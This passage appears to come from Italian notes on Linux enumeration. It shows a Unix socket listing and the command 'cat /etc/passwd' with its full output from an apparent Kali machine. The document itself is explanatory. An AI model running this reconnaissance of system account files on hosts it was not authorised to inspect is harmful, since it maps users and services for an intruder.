unix 3	[ ]	STREAM	CONNECTED	20956	/run/systemd/journ
al/stdout					
unix 3	[ ]	STREAM	CONNECTED	20775	
unix 3	[ ]	STREAM	CONNECTED	19350	
unix 3	[ ]	STREAM	CONNECTED	20589	
unix 3	[ ]	STREAM	CONNECTED	20519	@/tmp/.X11-unix/X0
unix 3	[ ]	STREAM	CONNECTED	20825	
unix 3	[ ]	STREAM	CONNECTED	19958	
unix 3	[ ]	STREAM	CONNECTED	19911	/run/user/1000/bus
unix 3	[ ]	STREAM	CONNECTED	16436	/run/systemd/journ
al/stdout					
unix 3	[ ]	STREAM	CONNECTED	20016	
unix 3	[ ]	STREAM	CONNECTED	20838	/run/systemd/journ
al/stdout					
unix 3	[ ]	STREAM	CONNECTED	20554	
unix 3	[ ]	STREAM	CONNECTED	20549	@/tmp/.X11-unix/X0
unix 3	[ ]	STREAM	CONNECTED	20907	
unix 3	[ ]	STREAM	CONNECTED	19187	/run/user/1000/bus
unix 3	[ ]	STREAM	CONNECTED	19173	/run/dbus/system_b
us_socket					
unix 3	[ ]	STREAM	CONNECTED	18877	
unix 3	[ ]	STREAM	CONNECTED	16019	/run/systemd/journ
al/stdout					
unix 3	[ ]	STREAM	CONNECTED	43899	@/tmp/.X11-unix/X0
unix 3	[ ]	STREAM	CONNECTED	20193	
unix 3	[ ]	STREAM	CONNECTED	20726	/run/user/1000/bus
unix 3	[ ]	STREAM	CONNECTED	20513	
unix 3	[ ]	STREAM	CONNECTED	20615	
unix 3	[ ]	STREAM	CONNECTED	20951	
unix 3	[ ]	STREAM	CONNECTED	20751	
unix 2	[ ACC ]	STREAM	LISTENING	17938	@/tmp/.X11-unix/X0
unix 3	[ ]	STREAM	CONNECTED	19172	@a4d2af20c2445c03/
bus/systemd/bus-api-user					
unix 2	[ ACC ]	STREAM	LISTENING	19373	@/tmp/.ICE-unix/85
3					
unix 3	[ ]	STREAM	CONNECTED	16167	@883937ea70b7974d/
bus/systemd/bus-api-system					
unix 3	[ ]	STREAM	CONNECTED	17615	@8567b24b707011bc/

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- **UTENTI E AUTORIZZAZIONI => “cat /etc/passwd”**

```
cat /etc/passwd
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:992:992:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:102::/nonexistent:/usr/sbin/nologin
tss:x:101:104:TPM software stack,,,:/var/lib/tpm:/bin/false
strongswan:x:102:65534::/var/lib/strongswan:/usr/sbin/nologin
tcpdump:x:103:105::/nonexistent:/usr/sbin/nologin
usbmux:x:104:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:105:65534::/run/ssh:/usr/sbin/nologin
dnsmasq:x:106:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
avahi:x:107:108:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
speech-dispatcher:x:108:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
pulse:x:109:110:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
lightdm:x:110:112:Light Display Manager:/var/lib/lightdm:/bin/false
saned:x:111:114::/var/lib/saned:/usr/sbin/nologin
polkitd:x:991:991:polkit:/nonexistent:/usr/sbin/nologin
rtkit:x:112:115:RealtimeKit,,,:/proc:/usr/sbin/nologin
colord:x:113:116:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
nm-openvpn:x:114:117:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
nm-openconnect:x:115:118:NetworkManager OpenConnect plugin,,,:/var/lib/NetworkManager:/usr/sbin/nologin
_galera:x:116:65534::/nonexistent:/usr/sbin/nologin

mysql:x:117:120:MariaDB Server,,,:/nonexistent:/bin/false
stunnel4:x:990:990:stunnel service system account:/var/run/stunnel4:/usr/sbin/nologin
_rpc:x:118:65534::/run/rpcbind:/usr/sbin/nologin
geoclue:x:119:122::/var/lib/geoclue:/usr/sbin/nologin
Debian-snmpp:x:120:123::/var/lib/snmpp:/bin/false
sshd:x:121:124::/nonexistent:/usr/sbin/nologin
ntpssec:x:122:127::/nonexistent:/usr/sbin/nologin
redsocks:x:123:128::/var/run/redsocks:/usr/sbin/nologin
rwho:x:124:65534::/var/spool/rwho:/usr/sbin/nologin
_gophish:x:125:130::/var/lib/gophish:/usr/sbin/nologin
iodine:x:126:65534::/run/iodine:/usr/sbin/nologin
miredo:x:127:65534::/var/run/miredo:/usr/sbin/nologin
statd:x:128:65534::/var/lib/nfs:/usr/sbin/nologin
redis:x:129:131::/var/lib/redis:/usr/sbin/nologin
postgres:x:130:132:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mosquitto:x:131:133::/var/lib/mosquitto:/usr/sbin/nologin
inetsim:x:132:134::/var/lib/inetsim:/usr/sbin/nologin
_gvm:x:133:136::/var/lib/openvas:/usr/sbin/nologin
kali:x:1000:1000:,,,:/home/kali:/usr/bin/zsh
Debian-exim:x:134:139::/var/spool/exim4:/usr/sbin/nologin
```